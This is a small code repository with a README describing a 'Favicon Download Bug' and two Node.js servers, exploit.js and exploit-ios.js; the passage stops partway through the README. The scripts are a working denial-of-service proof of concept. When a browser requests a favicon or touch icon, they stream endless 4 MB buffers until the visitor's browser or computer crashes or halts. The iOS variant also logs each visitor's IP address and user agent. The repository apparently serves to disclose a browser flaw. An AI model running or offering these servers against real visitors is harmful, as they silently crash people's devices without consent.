├── exploit.js ├── exploit-ios.js └── README.md /exploit.js: -------------------------------------------------------------------------------- 1 | require("http").createServer(function(req, res){ 2 | if(req.url.indexOf("favicon.ico") === -1) return res.end("Hello World"); 3 | (function poc(i){ 4 | res.write(new Buffer(1 << 22)); 5 | setImmediate(poc, i+1); 6 | console.log("Writing Poc", i); 7 | }(1)); 8 | }).listen(process.env.PORT || 3000); -------------------------------------------------------------------------------- /exploit-ios.js: -------------------------------------------------------------------------------- 1 | require("http").createServer(function(req, res){ 2 | var ip = req.headers['x-forwarded-for'] || 3 | req.connection.remoteAddress || 4 | req.socket.remoteAddress || 5 | req.connection.socket.remoteAddress; 6 | if(req.url.indexOf("favicon.ico") === -1 7 | && req.url.indexOf("touch-icon.png") === -1) return res.end("
Hello World"); 8 | (function poc(i){ 9 | res.write(new Buffer(1 << 22)); 10 | setImmediate(poc, i+1); 11 | console.log(ip + " - " + req.headers['user-agent'] + " - Writing Poc", i); 12 | }(1)); 13 | }).listen(process.env.PORT || 3000); 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Favicon Download Bug 2 | 3 | This repository demonstrates that browsers will download huge favicon and touch-icon files to the point that they crash and/or bring the computer to a halt - all in the background with no indication to the user that any form of download or networking is happening. 4 | 5 | (no spinner) 6 | 7 | I originally tested this with Chrome. People have pointed